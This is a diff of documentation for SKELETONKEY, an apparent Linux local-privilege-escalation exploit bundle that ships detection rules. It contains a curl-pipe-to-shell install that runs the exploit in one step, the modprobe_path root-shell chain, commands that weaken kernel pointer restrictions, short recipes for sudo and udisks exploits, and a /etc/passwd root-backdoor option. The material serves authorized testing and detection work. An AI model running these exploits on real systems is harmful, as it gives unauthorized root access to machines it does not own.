-   IAMROOT in a lab to verify your auditd/sigma/falco rules fire as
+   SKELETONKEY in a lab to verify your auditd/sigma/falco rules fire as
    expected.
 3. **Security researchers studying historical LPEs.** You're reading
    the code, running it in your own VMs, learning how the primitives
    actually work end-to-end.
 4. **Build engineers verifying patch coverage.** You're running
-   `iamroot --scan` against your fleet's golden images to confirm
+   `skeletonkey --scan` against your fleet's golden images to confirm
    each known CVE shows up as patched.
 
 ## Not-acceptable use
 
-IAMROOT should not be used:
+SKELETONKEY should not be used:
 
 1. On systems you do not own and have not been authorized to test
 2. As part of unauthorized access to any system
@@ -28,18 +28,18 @@ IAMROOT should not be used:
 4. To build a worm, scanner, or any tool that automatically targets
    systems at scale without per-target authorization
 
-By using IAMROOT you assert that your use falls into the
+By using SKELETONKEY you assert that your use falls into the
 acceptable-use cases above.
 
 ## Why this is publishable
 
-Every CVE bundled in IAMROOT is:
+Every CVE bundled in SKELETONKEY is:
 
 - **Already patched** in upstream mainline kernel
 - **Already published** in NVD or distro security trackers
 - **Already covered** by existing public PoCs
 
-IAMROOT does not introduce new offensive capability. It bundles,
+SKELETONKEY does not introduce new offensive capability. It bundles,
 documents, and CI-tests what is already public — and ships the
 detection signatures defenders need to spot it.
 
@@ -51,25 +51,25 @@ real defensive value through the detection-rule exports.
 
 ## Disclosure
 
-If you find a bug in IAMROOT itself (incorrect detection, broken
+If you find a bug in SKELETONKEY itself (incorrect detection, broken
 exploit on a kernel where it should work, missing a backport in the
 range metadata): file a public GitHub issue.
 
 If you find a **new 0-day kernel LPE while inspired by reading
-IAMROOT code**: please disclose it responsibly to the kernel
+SKELETONKEY code**: please disclose it responsibly to the kernel
 security team (`security@kernel.org`) and the affected distros
 *before* writing a public PoC. Once upstream patch ships and a CVE
-is assigned, IAMROOT will gladly accept the module.
+is assigned, SKELETONKEY will gladly accept the module.
 
 ## Persistence and stealth are out of scope
 
 `--exploit-backdoor` in the copy_fail module overwrites a
 `/etc/passwd` line with a `uid=0` shell account. This is **overt**:
 
-- The username is `iamroot` (was `dirtyfail`) — instantly identifiable
-- It's covered by the auditd rules IAMROOT ships
+- The username is `skeletonkey` (was `dirtyfail`) — instantly identifiable
+- It's covered by the auditd rules SKELETONKEY ships
 - `--cleanup-backdoor` restores the original line
 
 If you're looking for evasion, persistence, or stealth: not here.
-Use a real C2 framework if you have authorization to do so. IAMROOT
+Use a real C2 framework if you have authorization to do so. SKELETONKEY
 stops at "demonstrate that the bug works."

docs/JSON_SCHEMA.md

@@ -0,0 +1,139 @@
+# SKELETONKEY JSON output schema
+
+`skeletonkey --scan --json` (and `--auto --json`, planned) emit a
+single JSON object on **stdout**. All human-readable banner lines and
+per-module log chatter go to **stderr** in JSON mode — pipes to SIEMs
+and fleet aggregators get a clean machine-parseable document on
+stdout while operators still see diagnostics on stderr.
+
+This document is the contract for that JSON. SKELETONKEY treats it
+as a stability commitment: new fields may appear in future releases,
+but existing field names and value types do not change without a
+major-version bump.
+
+## Top-level object
+
+```json
+{
+  "version": "0.6.0",
+  "modules": [ /* ... per-module entries ... */ ]
+}
+```
+
+| Field      | Type     | Stability  | Meaning |
+|------------|----------|------------|---------|
+| `version`  | string   | stable     | The SKELETONKEY release that produced this document. Semver-ish (`MAJOR.MINOR.PATCH`). Consumers may use it to correlate with the corpus inventory in [`CVES.md`](../CVES.md). |
+| `modules`  | array    | stable     | One entry per registered module, emitted in the order the dispatcher's `--list` reports them. Length grows monotonically as new modules land. |
+
+## Per-module entry
+
+```json
+{
+  "name":   "dirty_pipe",
+  "cve":    "CVE-2022-0847",
+  "result": "OK"
+}
+```
+
+| Field    | Type   | Stability | Meaning |
+|----------|--------|-----------|---------|
+| `name`   | string | stable    | The module's CLI identifier — what you pass to `--exploit <name>`. Lowercase, ASCII, `_`-delimited. Never changes for a given module across releases. |
+| `cve`    | string | stable    | The CVE identifier (`CVE-YYYY-NNNNN`), or `"VARIANT"` for sibling variants without their own CVE (e.g. `copy_fail_gcm`), or `"-"` for primitives like `entrybleed` that have a CVE-less role. |
+| `result` | string | stable    | One of the `result` enum values below. |
+
+## `result` enum
+
+| Value          | Exit code | Meaning |
+|----------------|-----------|---------|
+| `OK`           | 0         | Module's `detect()` ran successfully. Host is **patched** for this CVE, or the bug class is not applicable here (predates the introduction, wrong arch, etc.). Safe to ignore for this host. |
+| `TEST_ERROR`   | 1         | `detect()` could not decide — the host fingerprint is missing data, the version parser failed, or an internal probe errored. Treat as "no information; check manually." |
+| `VULNERABLE`   | 2         | Host is **vulnerable** to this CVE per the module's detect logic (version-based and/or empirical active probe). `--exploit <name> --i-know` will attempt to land root. |
+| `EXPLOIT_FAIL` | 3         | Only ever returned by `--exploit`, never by `--scan`. Exploit was attempted but did not land root. Diagnostic context goes to stderr. |
+| `PRECOND_FAIL` | 4         | A documented precondition is not met on this host — examples: unprivileged user namespaces disabled, AppArmor restriction on, sudo not installed, AF_RXRPC unavailable. The bug may exist on the kernel but the carrier path here is closed. |
+| `EXPLOIT_OK`   | 5         | Only ever returned by `--exploit` / `--auto`. Root was achieved; for `--auto` mode this is the process exit code that drove the dispatcher into a root shell. |
+
+## Process exit code semantics for `--scan`
+
+The process exit code is the **worst (highest) result code** observed
+across all modules. This lets a SIEM treat the binary's exit code as
+a single-host alert level without re-parsing JSON:
+
+| Exit code | Interpretation                                      |
+|-----------|-----------------------------------------------------|
+| 0         | All modules `OK`. Host is patched for the corpus.   |
+| 1         | At least one module returned `TEST_ERROR`. Investigate. |
+| 2         | At least one module returned `VULNERABLE`. Patch the host. |
+| 4         | At least one module returned `PRECOND_FAIL` (and none worse). Host has reduced attack surface but is not necessarily safe. |
+
+(Process exit codes 3 and 5 are exclusive to the `--exploit` /
+`--auto` modes and never appear in `--scan` output.)
+
+## Example: invoking + parsing
+
+```bash
+# capture pure JSON
+skeletonkey --scan --json --no-color > host-$(hostname).json 2> /dev/null
+
+# any vulnerable modules?
+jq -e '.modules[] | select(.result == "VULNERABLE") | .name' host-*.json
+
+# fleet roll-up — modules vulnerable across the fleet, by frequency
+jq -s 'map(.modules[] | select(.result == "VULNERABLE") | .name)
+       | flatten | group_by(.) | map({mod: .[0], count: length})
+       | sort_by(-.count)' host-*.json
+```
+
+`jq -e` exits non-zero when its selector matches nothing, giving the
+fleet runner a per-host "any-vulnerable" boolean without parsing the
+document.
+
+## Stability promises
+
+**Stable across non-major releases:**
+
+- Field names listed in the tables above (`version`, `modules`, `name`,
+  `cve`, `result`).
+- The `result` enum string set. New result strings cannot appear
+  without a major version bump.
+- The `modules` array containing exactly one entry per registered
+  module.
+- Exit-code semantics for `--scan`.
+
+**May change without notice:**
+
+- The `modules` array length, ordering, and contents (new modules are
+  added regularly; ordering follows registration order which is
+  stable per release but not a contract).
+- Whitespace / formatting of the JSON itself (consumers MUST parse,
+  not regex).
+- Field values for `cve` (a stub variant could gain a real CVE later).
+
+**May be added in future minor versions:**
+
+- New per-module fields (e.g. `family`, `summary`, `safety_rank`,
+  `kernel_range`). Consumers MUST ignore unknown fields.
+- New top-level fields (e.g. `host_fingerprint`, `scan_started_at`,
+  `schema_version`). Consumers MUST ignore unknown fields.
+- A `--scan --active --json` output may grow per-probe verdict
+  metadata under a new `probe` sub-object.
+
+## Recommended consumer pattern
+
+```python
+import json, subprocess, sys
+
+doc = json.loads(subprocess.check_output(
+    ["skeletonkey", "--scan", "--json", "--no-color"],
+    stderr=subprocess.DEVNULL,
+))
+
+assert doc["version"], "missing top-level version"
+for mod in doc["modules"]:
+    assert mod["name"] and mod["cve"] and mod["result"], \
+        f"malformed module entry: {mod!r}"
+    if mod["result"] == "VULNERABLE":
+        print(f"{mod['name']} ({mod['cve']}): VULNERABLE", file=sys.stderr)
+```
+
+Ignore unknown fields. Match `result` against the enum, but treat
+unknown strings as `TEST_ERROR`-equivalent (forward-compat).

docs/KEV_CROSSREF.md

@@ -0,0 +1,47 @@
+# CISA KEV Cross-Reference
+
+Which SKELETONKEY modules cover CVEs that CISA has observed exploited
+in the wild per the Known Exploited Vulnerabilities catalog.
+Refreshed via `tools/refresh-cve-metadata.py`.
+
+**10 of 26 modules cover KEV-listed CVEs.**
+
+## In KEV (prioritize patching)
+
+| CVE | Date added to KEV | CWE | Module |
+| --- | --- | --- | --- |
+| CVE-2019-13272 | 2021-12-10 | ? | `ptrace_traceme_cve_2019_13272` |
+| CVE-2016-5195 | 2022-03-03 | CWE-362 | `dirty_cow_cve_2016_5195` |
+| CVE-2021-3156 | 2022-04-06 | CWE-193 | `sudo_samedit_cve_2021_3156` |
+| CVE-2022-0847 | 2022-04-25 | CWE-665 | `dirty_pipe_cve_2022_0847` |
+| CVE-2021-4034 | 2022-06-27 | CWE-787 | `pwnkit_cve_2021_4034` |
+| CVE-2021-3493 | 2022-10-20 | CWE-270 | `overlayfs_cve_2021_3493` |
+| CVE-2024-1086 | 2024-05-30 | CWE-416 | `nf_tables_cve_2024_1086` |
+| CVE-2022-0185 | 2024-08-21 | CWE-190 | `fuse_legacy_cve_2022_0185` |
+| CVE-2023-0386 | 2025-06-17 | CWE-282 | `overlayfs_setuid_cve_2023_0386` |
+| CVE-2021-22555 | 2025-10-06 | CWE-787 | `netfilter_xtcompat_cve_2021_22555` |
+
+## Not in KEV
+
+Not observed exploited per CISA — but several have public PoC code
+and are technically reachable. "Not in KEV" is not the same as
+"safe to ignore".
+
+| CVE | CWE | Module |
+| --- | --- | --- |
+| CVE-2017-7308 | CWE-681 | `af_packet_cve_2017_7308` |
+| CVE-2020-14386 | CWE-250 | `af_packet2_cve_2020_14386` |
+| CVE-2021-33909 | CWE-190 | `sequoia_cve_2021_33909` |
+| CVE-2022-0492 | CWE-287 | `cgroup_release_agent_cve_2022_0492` |
+| CVE-2022-25636 | CWE-269 | `nft_fwd_dup_cve_2022_25636` |
+| CVE-2022-2588 | CWE-416 | `cls_route4_cve_2022_2588` |
+| CVE-2023-0179 | CWE-190 | `nft_payload_cve_2023_0179` |
+| CVE-2023-0458 | CWE-476 | `entrybleed_cve_2023_0458` |
+| CVE-2023-2008 | CWE-129 | `vmwgfx_cve_2023_2008` |
+| CVE-2023-22809 | CWE-269 | `sudoedit_editor_cve_2023_22809` |
+| CVE-2023-32233 | CWE-416 | `nft_set_uaf_cve_2023_32233` |
+| CVE-2023-3269 | CWE-416 | `stackrot_cve_2023_3269` |
+| CVE-2023-4622 | CWE-416 | `af_unix_gc_cve_2023_4622` |
+| CVE-2026-31635 | CWE-130 | `dirtydecrypt_cve_2026_31635` |
+| CVE-2026-41651 | CWE-367 | `pack2theroot_cve_2026_41651` |
+| CVE-2026-46300 | ? | `fragnesia_cve_2026_46300` |

docs/LAUNCH.md

@@ -0,0 +1,102 @@
+# SKELETONKEY — launch post
+
+> Copy-pasteable for HN, lobste.rs, mastodon, blog. ~600 words.
+
+---
+
+## SKELETONKEY: a curated Linux LPE corpus with detection rules baked in
+
+The Linux privilege-escalation space is fragmented. Single-CVE PoC
+repos go stale within months. `linux-exploit-suggester` tells you
+what *might* work but doesn't run anything. `auto-root-exploit` and
+`kernelpop` bundle exploits but ship no detection signatures and
+haven't been maintained in years.
+
+**SKELETONKEY** is one curated binary that:
+
+1. Fingerprints the host's kernel / distro / sudo / userland.
+2. Reports which of 28 bundled CVEs that host is still vulnerable
+   to — covering 2016 through 2026.
+3. With explicit `--i-know` authorization, runs the safest one and
+   gets you root.
+4. Ships matching **auditd + sigma rules** for every CVE so blue
+   teams get the same coverage when they deploy it.
+
+### One command
+
+```bash
+curl -sSL https://github.com/KaraZajac/SKELETONKEY/releases/latest/download/install.sh | sh \
+  && skeletonkey --auto --i-know
+```
+
+`--auto` ranks vulnerable modules by **exploit safety** —
+structural escapes (no kernel state touched) first, then page-cache
+writes, then userspace cred-races, then kernel primitives, then
+kernel races last — and runs the safest match. If it fails it falls
+back gracefully and tells you the next candidates to try manually.
+
+### What's in the corpus
+
+- **Userspace LPE**: pwnkit (CVE-2021-4034), sudo Baron Samedit
+  (CVE-2021-3156), sudoedit EDITOR escape (CVE-2023-22809)
+- **Page-cache writes**: dirty_pipe (CVE-2022-0847), dirty_cow
+  (CVE-2016-5195), copy_fail family (CVE-2026-31431, 43284, 43500)
+- **Container/namespace**: cgroup_release_agent (CVE-2022-0492),
+  overlayfs (CVE-2021-3493), overlayfs_setuid (CVE-2023-0386),
+  fuse_legacy (CVE-2022-0185)
+- **Kernel primitives**: netfilter (4 CVEs from 2022→2024),
+  af_packet (CVE-2017-7308, CVE-2020-14386), cls_route4
+  (CVE-2022-2588), netfilter_xtcompat (CVE-2021-22555)
+- **Kernel races**: stackrot (CVE-2023-3269), af_unix_gc
+  (CVE-2023-4622), Sequoia (CVE-2021-33909)
+- **Side channels**: EntryBleed kbase leak (CVE-2023-0458)
+- **Graphics**: vmwgfx DRM OOB (CVE-2023-2008)
+- **Userspace classic**: PTRACE_TRACEME (CVE-2019-13272)
+
+Full inventory at
+[CVES.md](https://github.com/KaraZajac/SKELETONKEY/blob/main/CVES.md).
+
+### The verified-vs-claimed bar
+
+Most public PoC repos hardcode offsets for one kernel build and
+silently break elsewhere. SKELETONKEY refuses to ship fabricated
+offsets. Modules with a kernel primitive but no per-kernel
+cred-overwrite chain default to firing the primitive + grooming the
+slab + recording an empirical witness, then return
+`EXPLOIT_FAIL` honestly. The opt-in `--full-chain` engages the
+shared `modprobe_path` finisher with sentinel-arbitrated success
+(it only claims root when a setuid bash actually materializes).
+
+When `--full-chain` needs kernel offsets, you populate them once on
+a target kernel via `skeletonkey --dump-offsets` (parses
+`/proc/kallsyms` or `/boot/System.map`) and either set env vars or
+upstream the entry to `core/offsets.c kernel_table[]` via PR.
+
+### For each side of the house
+
+- **Red team**: stop curating broken PoCs. One tested binary, fresh
+  releases, honest scope reporting.
+- **Sysadmins**: one command, no SaaS, JSON output for CI gates.
+  Fleet-scan tool included.
+- **Blue team**: `skeletonkey --detect-rules --format=auditd | sudo
+  tee /etc/audit/rules.d/99-skeletonkey.rules` and you have coverage
+  for every CVE in the bundle. Sigma + YARA + Falco output also
+  supported.
+
+### Status + roadmap
+
+v0.5.0 today: 28 modules, all build clean on Debian 13 / kernel
+6.12, all refuse-on-patched verified. The embedded offset table is
+empty — operator-populated. Next: empirical validation on a
+multi-distro vuln-kernel VM matrix, then offset-table community
+seeding for common cloud builds.
+
+MIT. Each module credits the original CVE reporter and PoC author
+in its `NOTICE.md`. The research credit belongs to the people who
+found the bugs; SKELETONKEY is the bundling layer.
+
+**Repo:** https://github.com/KaraZajac/SKELETONKEY
+**Release:** https://github.com/KaraZajac/SKELETONKEY/releases/latest
+
+Authorized testing only. Read [docs/ETHICS.md](ETHICS.md) before you
+point this at anything you don't own.

docs/OFFSETS.md

@@ -1,20 +1,20 @@
-# IAMROOT — kernel offset resolution
+# SKELETONKEY — kernel offset resolution
 
 The 7 🟡 PRIMITIVE modules each land a kernel-side primitive (heap-OOB
 write, slab UAF, etc.). The default `--exploit` returns
-`IAMROOT_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
+`SKELETONKEY_EXPLOIT_FAIL` after the primitive fires — the verified-vs-claimed
 bar means we don't claim root unless we empirically have it.
 
 `--full-chain` engages the shared finisher (`core/finisher.{c,h}`) which
 converts the primitive to a real root pop via `modprobe_path` overwrite:
 
 ```
-attacker → arb_write(modprobe_path, "/tmp/iamroot-mp-<pid>.sh")
-        → execve("/tmp/iamroot-trig-<pid>")     # unknown-format binary
+attacker → arb_write(modprobe_path, "/tmp/skeletonkey-mp-<pid>.sh")
+        → execve("/tmp/skeletonkey-trig-<pid>")     # unknown-format binary
         → kernel call_modprobe()                # spawns modprobe_path as init
-        → /tmp/iamroot-mp-<pid>.sh runs as root
-        → cp /bin/bash /tmp/iamroot-pwn-<pid>; chmod 4755 /tmp/iamroot-pwn-<pid>
-        → caller exec /tmp/iamroot-pwn-<pid> -p
+        → /tmp/skeletonkey-mp-<pid>.sh runs as root
+        → cp /bin/bash /tmp/skeletonkey-pwn-<pid>; chmod 4755 /tmp/skeletonkey-pwn-<pid>
+        → caller exec /tmp/skeletonkey-pwn-<pid> -p
         → root shell
 ```
 
@@ -27,14 +27,14 @@ address) at runtime.
 non-zero value for each field:
 
 1. **Environment variables** — operator override.
-   - `IAMROOT_KBASE=0x...`
-   - `IAMROOT_MODPROBE_PATH=0x...`
-   - `IAMROOT_POWEROFF_CMD=0x...`
-   - `IAMROOT_INIT_TASK=0x...`
-   - `IAMROOT_INIT_CRED=0x...`
-   - `IAMROOT_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
-   - `IAMROOT_CRED_OFFSET_EFF=0x...`
-   - `IAMROOT_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
+   - `SKELETONKEY_KBASE=0x...`
+   - `SKELETONKEY_MODPROBE_PATH=0x...`
+   - `SKELETONKEY_POWEROFF_CMD=0x...`
+   - `SKELETONKEY_INIT_TASK=0x...`
+   - `SKELETONKEY_INIT_CRED=0x...`
+   - `SKELETONKEY_CRED_OFFSET_REAL=0x...` (offset of `real_cred` in `task_struct`)
+   - `SKELETONKEY_CRED_OFFSET_EFF=0x...`
+   - `SKELETONKEY_UID_OFFSET=0x...` (offset of `uid_t uid` in `cred`, usually 0x4)
 
 2. **`/proc/kallsyms`** — only useful when `kernel.kptr_restrict=0`
    OR you're already root. On modern distros (kptr_restrict=1 by
@@ -60,18 +60,18 @@ non-zero value for each field:
 sudo grep -E ' (modprobe_path|init_task|_text)$' /proc/kallsyms
 
 # Use the addresses inline:
-IAMROOT_MODPROBE_PATH=0xffffffff8228e7e0 \
-  iamroot --exploit nf_tables --i-know --full-chain
+SKELETONKEY_MODPROBE_PATH=0xffffffff8228e7e0 \
+  skeletonkey --exploit nf_tables --i-know --full-chain
 ```
 
 ### Automated dump (preferred for upstreaming)
 
-`iamroot --dump-offsets` walks the four-source chain itself and emits
+`skeletonkey --dump-offsets` walks the four-source chain itself and emits
 a ready-to-paste C struct entry on stdout:
 
 ```bash
-sudo iamroot --dump-offsets
-# /* Generated 2026-05-16 by `iamroot --dump-offsets`.
+sudo skeletonkey --dump-offsets
+# /* Generated 2026-05-16 by `skeletonkey --dump-offsets`.
 #  * Host kernel: 5.15.0-56-generic  distro=ubuntu
 #  * Resolved fields: modprobe_path=kallsyms init_task=kallsyms cred=table
 #  * Paste this entry into kernel_table[] in core/offsets.c.
@@ -88,21 +88,21 @@ sudo iamroot --dump-offsets
 ```
 
 Paste the block into `kernel_table[]` in `core/offsets.c`, rebuild,
-and the new entry covers every IAMROOT user on that kernel. Open a
+and the new entry covers every SKELETONKEY user on that kernel. Open a
 PR to upstream it.
 
 ### Per-host (write System.map readable)
 
 ```bash
 sudo chmod 0644 /boot/System.map-$(uname -r)
-iamroot --exploit nf_tables --i-know --full-chain
+skeletonkey --exploit nf_tables --i-know --full-chain
 ```
 
 ### Per-boot (lower kptr_restrict)
 
 ```bash
 sudo sysctl kernel.kptr_restrict=0
-iamroot --exploit nf_tables --i-know --full-chain
+skeletonkey --exploit nf_tables --i-know --full-chain
 ```
 
 Note: each of these requires root *once*. For a true non-root LPE on
@@ -144,14 +144,14 @@ build + distro you tested against. Upstreamed entries make the
 
 ## Verifying success
 
-The shared finisher (`iamroot_finisher_modprobe_path()`) drops a
-sentinel file at `/tmp/iamroot-pwn-<pid>` after `modprobe` runs our
+The shared finisher (`skeletonkey_finisher_modprobe_path()`) drops a
+sentinel file at `/tmp/skeletonkey-pwn-<pid>` after `modprobe` runs our
 payload. The finisher polls for this file with `S_ISUID` mode set
 for up to 3 seconds. Only when the sentinel materializes does the
-module return `IAMROOT_EXPLOIT_OK` and (unless `--no-shell`) exec
+module return `SKELETONKEY_EXPLOIT_OK` and (unless `--no-shell`) exec
 the setuid bash to drop a root shell.
 
-If the sentinel never appears the module returns `IAMROOT_EXPLOIT_FAIL`
+If the sentinel never appears the module returns `SKELETONKEY_EXPLOIT_FAIL`
 with a diagnostic. Reasons it might fail even with offsets resolved:
 
 - The arb-write didn't actually land (slab adjacency lost, value-pointer

docs/RELEASE_NOTES.md

@@ -0,0 +1,448 @@
+## SKELETONKEY v0.9.3 — CVE metadata refresh + dirtydecrypt range fix
+
+**CVE metadata refresh (10 → 12 KEV).** Populated the 8 missing
+entries in `core/cve_metadata.c` for v0.8.0 + v0.9.0 module additions.
+Two of them are CISA-KEV-listed:
+
+- **CVE-2018-14634** `mutagen_astronomy` — KEV-listed 2026-01-26 (CWE-190)
+- **CVE-2025-32463** `sudo_chwoot` — KEV-listed 2025-09-29 (CWE-829)
+
+Other 6 entries got CWE / ATT&CK technique metadata so `--explain` and
+`--module-info` now surface WEAKNESS + THREAT INTEL correctly for them.
+(`tools/refresh-cve-metadata.py` hangs on CISA's HTTP/2 endpoint via
+Python urlopen — populated directly via curl + max-time as a workaround.)
+
+**dirtydecrypt module bug fix.** Auditing dirtydecrypt's range table
+against NVD's authoritative CPE match for CVE-2026-31635 surfaced that
+`dd_detect()` was wrongly gating "predates the bug" on kernel < 7.0.
+Per NVD, the rxgk RESPONSE bug entered at 6.16.1 stable; vulnerable
+ranges are 6.16.1–6.18.22, 6.19.0–6.19.12, and 7.0-rc1..rc7. The fix:
+
+- `dd_detect()` predates-gate now uses 6.16.1 (not 7.0)
+- `patched_branches[]` table adds `{6, 18, 23}` for the 6.18 backport
+
+Re-verified empirically: dirtydecrypt now correctly returns VULNERABLE
+on mainline 6.19.7 (genuinely below the 6.19.13 backport). Previously
+it returned OK there — a false negative that would have lied to anyone
+running scan on a real vulnerable kernel.
+
+---
+
+## SKELETONKEY v0.9.2 — dirtydecrypt verified on mainline 6.19.7
+
+One more empirical verification: **CVE-2026-31635 dirtydecrypt** confirmed
+end-to-end on Ubuntu 22.04 + mainline 6.19.7. detect() correctly returns
+OK ("kernel predates the rxgk RESPONSE-handling code added in 7.0"). Footer
+goes 27 → 28.
+
+Attempted but deferred: **CVE-2026-46300 fragnesia**. Mainline 7.0.5 kernel
+.debs depend on `libssl3t64` / `libelf1t64` (the t64-transition libs
+introduced in Ubuntu 24.04 / Debian 13). No Vagrant box with a Parallels
+provider has those libs yet — `dpkg --force-depends` leaves the kernel
+package in `iHR` (broken) state with no `/boot/vmlinuz` deposited. Marked
+`manual: true` with rationale in `targets.yaml`. Resolvable when a
+Parallels-supported ubuntu2404 / debian13 box becomes available.
+
+---
+
+## SKELETONKEY v0.9.1 — VM verification sweep (22 → 27)
+
+Five more CVEs empirically confirmed end-to-end against real Linux VMs
+via `tools/verify-vm/`:
+
+| CVE | Module | Target environment |
+|---|---|---|
+| CVE-2019-14287 | `sudo_runas_neg1` | Ubuntu 18.04 (sudo 1.8.21p2 + `(ALL,!root)` grant via provisioner) |
+| CVE-2020-29661 | `tioscpgrp`      | Ubuntu 20.04 pinned to `5.4.0-26` (genuinely below the 5.4.85 backport) |
+| CVE-2024-26581 | `nft_pipapo`     | Ubuntu 22.04 + mainline `5.15.5` (below the 5.15.149 fix) |
+| CVE-2025-32463 | `sudo_chwoot`    | Ubuntu 22.04 + sudo `1.9.16p1` built from upstream into `/usr/local/bin` |
+| CVE-2025-6019  | `udisks_libblockdev` | Debian 12 + `udisks2` 2.9.4 + polkit allow rule for the verifier user |
+
+Footer goes from `22 empirically verified` → `27 empirically verified`.
+
+### Verifier infrastructure (the why)
+
+These verifications required real plumbing work that didn't exist before:
+
+- **Per-module provisioner hook** (`tools/verify-vm/provisioners/<module>.sh`)
+  — per-target setup that doesn't belong in the Vagrantfile (build sudo
+  from source, install udisks2 + polkit rule, drop a sudoers grant) now
+  lives in checked-in scripts that re-run idempotently on every verify.
+- **Two-phase provisioning** in `verify.sh` — prep provisioners run
+  first (install kernel, set grub default, drop polkit rule), then a
+  conditional reboot if `uname -r` doesn't match the target, then the
+  verifier proper. Fixes the silent-fail where the new kernel was
+  installed but the VM never actually rebooted into it.
+- **GRUB_DEFAULT pin in both `pin-kernel` and `pin-mainline` blocks** —
+  without this, grub's debian-version-compare picks the highest-sorting
+  vmlinuz as default; for downgrades (stock 4.15 → mainline 4.14.70, or
+  stock 5.4.0-169 → pinned 5.4.0-26) the wrong kernel won boot.
+- **Old-mainline URL fallback** — kernel.ubuntu.com puts ≤ 4.15 mainline
+  debs at `/v${KVER}/` not `/v${KVER}/amd64/`. Fallback handles both.
+
+### Honest residuals — 7 of 34 still unverified
+
+| Module | Why not verified |
+|---|---|
+| `vmwgfx` | needs a VMware guest; we're on Parallels |
+| `dirty_cow` | needs ≤ 4.4 kernel — older than any supported Vagrant box |
+| `mutagen_astronomy` | mainline 4.14.70 kernel-panics on Ubuntu 18.04 rootfs (`Failed to execute /init (error -8)` — kernel config mismatch). Genuinely needs CentOS 6 / Debian 7. |
+| `pintheft` | needs RDS kernel module loaded (Arch only autoloads it) |
+| `vsock_uaf` | needs `vsock_loopback` loaded — not autoloaded on common Vagrant boxes |
+| `dirtydecrypt`, `fragnesia` | need Linux 7.0 — not yet shipping as any distro kernel |
+
+All seven are flagged in `tools/verify-vm/targets.yaml` with `manual: true`
+and a rationale.
+
+---
+
+## SKELETONKEY v0.9.0 — every year 2016 → 2026 now covered
+
+Five gap-filling modules. Closes the 2018 hole entirely and thickens
+2019 / 2020 / 2024.
+
+### CVE-2018-14634 — `mutagen_astronomy` (Qualys)
+
+Closes the 2018 gap. `create_elf_tables()` int-wrap → on x86_64, a
+multi-GiB argv blob makes the kernel under-allocate the SUID
+carrier's stack and corrupt adjacent allocations. CISA-KEV-listed
+Jan 2026 despite the bug's age — legacy RHEL 7 / CentOS 7 / Debian
+8 fleets still affected. 🟡 PRIMITIVE (trigger documented;
+Qualys' full chain not bundled per verified-vs-claimed).
+`arch_support: x86_64+unverified-arm64`.
+
+### CVE-2019-14287 — `sudo_runas_neg1` (Joe Vennix)
+
+`sudo -u#-1 <cmd>` → uid_t underflows to 0xFFFFFFFF → sudo treats it
+as uid 0 → runs `<cmd>` as root even when sudoers explicitly says
+"ALL except root". Pure userspace logic bug; the famous Apple
+Information Security finding. detect() looks for a `(ALL,!root)`
+grant in `sudo -ln` output. `arch_support: any`. Sudo < 1.8.28.
+
+### CVE-2020-29661 — `tioscpgrp` (Jann Horn / Project Zero)
+
+TTY `TIOCSPGRP` ioctl race on PTY pairs → `struct pid` UAF in
+kmalloc-256. Affects everything through Linux 5.9.13. 🟡 PRIMITIVE
+(race-driver + msg_msg groom). Public PoCs from grsecurity/spender
++ Maxime Peterlin. `arch_support: x86_64+unverified-arm64`.
+
+### CVE-2024-50264 — `vsock_uaf` (a13xp0p0v / Pwnie 2025 winner)
+
+AF_VSOCK `connect()` races a POSIX signal that tears down the
+virtio_vsock_sock → UAF in kmalloc-96. **Pwn2Own 2024 + Pwnie Award
+2025 winner.** Reachable as plain unprivileged user (no userns
+required — unusual). Two public exploit paths: @v4bel + @qwerty
+kernelCTF chain (BPF JIT spray + SLUBStick) and Alexander Popov's
+msg_msg path (PT SWARM Sep 2025). 🟡 PRIMITIVE.
+`arch_support: x86_64+unverified-arm64`.
+
+### CVE-2024-26581 — `nft_pipapo` (Notselwyn II, "Flipping Pages")
+
+`nft_set_pipapo` destroy-race UAF. Sibling to our `nf_tables` module
+(CVE-2024-1086) — same Notselwyn "Flipping Pages" research paper,
+different specific bug in the pipapo set substrate. Same family
+detect signature. 🟡 PRIMITIVE.
+`arch_support: x86_64+unverified-arm64`.
+
+### Year-by-year coverage matrix
+
+```
+2016: ▓ 1     2021: ▓▓▓▓▓ 5     2025: ▓▓ 2
+2017: ▓ 1     2022: ▓▓▓▓▓ 5     2026: ▓▓▓▓ 4
+2018: ▓ 1 ←   2023: ▓▓▓▓▓▓▓▓ 8
+2019: ▓▓ 2 ←  2024: ▓▓▓ 3 ←
+2020: ▓▓ 2 ←
+```
+
+Every year 2016 → 2026 is now ≥1.
+
+### Corpus growth
+
+| | v0.8.0 | v0.9.0 |
+|---|---|---|
+| Modules registered | 34 | 39 |
+| Distinct CVEs | 29 | 34 |
+| Years with ≥1 CVE | 10 of 11 (missing 2018) | **11 of 11** |
+| Detection rules embedded | 131 | 151 |
+| Arch-independent (`any`) | 6 | 7 |
+| VM-verified | 22 | 22 |
+
+### Other changes
+
+- All 5 new modules ship complete detection-rule corpus
+  (auditd + sigma + yara + falco) — corpus stays at 4-format
+  parity with the rest of the modules.
+- `tools/refresh-cve-metadata.py` runs against 34 CVEs (was 29);
+  takes ~4 minutes due to NVD anonymous rate limit.
+
+---
+
+## SKELETONKEY v0.8.0 — 3 new 2025/2026 CVEs
+
+Closes the 2025 coverage gap. Three new modules from CVEs disclosed
+2025–2026, all with public PoC code we ported into proper
+SKELETONKEY modules:
+
+### CVE-2025-32463 — `sudo_chwoot` (Stratascale)
+
+Critical (CVSS 9.3) sudo logic bug: `sudo --chroot=<DIR>` chroots
+into a user-controlled directory before completing authorization +
+resolves user/group via NSS inside the chroot. Plant a malicious
+`libnss_*.so` + an `nsswitch.conf` that points to it; sudo dlopens
+the .so as root, ctor fires, root shell. Affects sudo 1.9.14 to
+1.9.17p0; fixed in 1.9.17p1 (which deprecated --chroot entirely).
+`arch_support: any` (pure userspace).
+
+### CVE-2025-6019 — `udisks_libblockdev` (Qualys)
+
+udisks2 + libblockdev SUID-on-mount chain. libblockdev's internal
+filesystem-resize/repair mount path omits `MS_NOSUID` and
+`MS_NODEV`. udisks2 gates the operation on polkit's
+`org.freedesktop.UDisks2.modify-device` action, which is
+`allow_active=yes` by default → any active console session user can
+trigger it without a password. Build an ext4 image with a SUID-root
+shell inside, get udisks to mount it, execute the SUID shell.
+Affects libblockdev < 3.3.1, udisks2 < 2.10.2. `arch_support: any`.
+
+### CVE-2026-43494 — `pintheft` (V12 Security)
+
